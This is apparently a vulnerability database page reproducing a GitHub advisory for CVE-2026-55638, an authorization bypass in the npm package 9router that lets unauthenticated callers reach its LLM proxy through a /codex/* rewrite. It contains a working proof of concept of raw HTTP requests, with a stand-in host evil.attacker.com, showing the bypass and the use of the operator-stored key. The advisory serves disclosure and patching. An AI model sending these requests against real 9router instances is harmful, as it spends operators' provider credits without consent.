GHSA-8GMQ-J984-VP4R
Vulnerability from github – Published: 2026-08-28 18:32 – Updated: 2026-08-28 18:32
VLAI
Summary
9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass
Details
Summary
9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.
However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.
As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.
Details
| Component | File | Note |
|---|---|---|
| Middleware authorization gate | src/dashboardGuard.js |
Protects /v1, /v1beta, /api/v1, and /api/v1beta, but not /codex |
| Rewrite configuration | next.config.mjs |
Rewrites /codex/:path* to /api/v1/responses |
| LLM backend route | src/app/api/v1/responses/route.js |
Dispatches rewritten requests to the LLM handler |
| Chat handler | src/sse/handlers/chat.js |
Uses operator-stored provider credentials for upstream calls |
Tested version:
| Version / Commit | Runtime | Status |
|---|---|---|
v0.4.80, commit 23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56 |
Next.js 16.2.9 |
Affected |
Root Cause
The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:
PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];
Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:
return NextResponse.next();
The rewrite configuration then maps the allowed request to the protected backend route:
{
source: "/codex/:path*",
destination: "/api/v1/responses"
}
The backend route reaches the same handler used by the canonical LLM endpoint:
return await handleChat(request);
The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.
PoC
The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.
Case 01 — Protected canonical endpoint rejects unauthenticated access
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 401 Unauthorized
This confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.
Case 02 — Rewritten /codex/* path bypasses the API-key gate
POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 200 OK
The request reaches the LLM backend without an API key.
A controlled upstream provider endpoint recorded the outbound request from 9router:
POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true
This confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.
Case 03 — Unrelated unknown path does not reach the backend
POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 404 Not Found
No upstream provider call is made. This isolates the issue to the /codex/* rewrite.
Case 04 — Canonical endpoint succeeds only with a valid API key
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}
Observed result:
HTTP/1.1 200 OK
This confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.
Attack Scenario
- A remote attacker identifies a publicly reachable 9router instance.
- The attacker sends LLM proxy requests to
/codex/*instead of/api/v1/responses. - The middleware evaluates the original
/codex/*path and does not apply the LLM API-key gate. - The rewrite maps the request to
/api/v1/responses. - The backend processes the request and performs an upstream provider call.
- The upstream call uses the operator-stored provider credentials.
Impact
A successful attacker can use the operator's configured LLM provider account without authentication.
Likely consequences include:
- Unauthorized use of the 9router LLM proxy.
- Consumption of the operator's provider credits or quota.
- Unexpected billing impact.
- Abuse of configured OpenAI/Anthropic-compatible providers.
- Exposure of model/provider behavior through proxy responses.
- Bypass of the intended API-key access control for remote LLM proxy access.
Severity
8.6 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55638"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T18:32:01Z",
"nvd_published_at": "2026-07-10T17:16:59Z",
"severity": "HIGH"
},
"details": "## Summary\n\n9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.\n\nHowever, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware\u0027s protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`.\n\nAs a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.\n\n## Details\n\n| Component | File | Note |\n| ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- |\n| Middleware authorization gate | `src/dashboardGuard.js` | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` |\n| Rewrite configuration | `next.config.mjs` | Rewrites `/codex/:path*` to `/api/v1/responses` |\n| LLM backend route | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler |\n| Chat handler | `src/sse/handlers/chat.js` | Uses operator-stored provider credentials for upstream calls |\n\nTested version:\n\n| Version / Commit | Runtime | Status |\n| ------------------------------------------------------------ | ---------------- | -------- |\n| `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected |\n\n### Root Cause\n\nThe middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:\n\n```js\nPUBLIC_PREFIXES = [\"/v1\", \"/v1beta\", \"/api/v1\", \"/api/v1beta\"];\n```\n\nBecause `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to:\n\n```js\nreturn NextResponse.next();\n```\n\nThe rewrite configuration then maps the allowed request to the protected backend route:\n\n```js\n{\n source: \"/codex/:path*\",\n destination: \"/api/v1/responses\"\n}\n```\n\nThe backend route reaches the same handler used by the canonical LLM endpoint:\n\n```js\nreturn await handleChat(request);\n```\n\nThe handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.\n\n## PoC\n\nThe following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path.\n\n### Case 01 \u2014 Protected canonical endpoint rejects unauthenticated access\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 401 Unauthorized\n```\n\nThis confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate.\n\n### Case 02 \u2014 Rewritten `/codex/*` path bypasses the API-key gate\n\n```http\nPOST /codex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe request reaches the LLM backend without an API key.\n\nA controlled upstream provider endpoint recorded the outbound request from 9router:\n\n```text\nPOST /responses\nAuthorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER\nrequest-body marker present: true\noperator key marker in Authorization: true\n```\n\nThis confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials.\n\n### Case 03 \u2014 Unrelated unknown path does not reach the backend\n\n```http\nPOST /notcodex/x HTTP/1.1\nHost: evil.attacker.com\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 404 Not Found\n```\n\nNo upstream provider call is made. This isolates the issue to the `/codex/*` rewrite.\n\n### Case 04 \u2014 Canonical endpoint succeeds only with a valid API key\n\n```http\nPOST /api/v1/responses HTTP/1.1\nHost: evil.attacker.com\nAuthorization: Bearer sk-REDACTED\nContent-Type: application/json\nContent-Length: 156\n\n{\"model\":\"fakeoai/x\",\"input\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\",\"messages\":[{\"role\":\"user\",\"content\":\"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello\"}]}\n```\n\nObserved result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThis confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router instance.\n2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`.\n3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate.\n4. The rewrite maps the request to `/api/v1/responses`.\n5. The backend processes the request and performs an upstream provider call.\n6. The upstream call uses the operator-stored provider credentials.\n\n## Impact\n\nA successful attacker can use the operator\u0027s configured LLM provider account without authentication.\n\nLikely consequences include:\n\n* Unauthorized use of the 9router LLM proxy.\n* Consumption of the operator\u0027s provider credits or quota.\n* Unexpected billing impact.\n* Abuse of configured OpenAI/Anthropic-compatible providers.\n* Exposure of model/provider behavior through proxy responses.\n* Bypass of the intended API-key access control for remote LLM proxy access.",
"id": "GHSA-8gmq-j984-vp4r",
"modified": "2026-08-28T18:32:01Z",
"published": "2026-08-28T18:32:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-8gmq-j984-vp4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55638"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…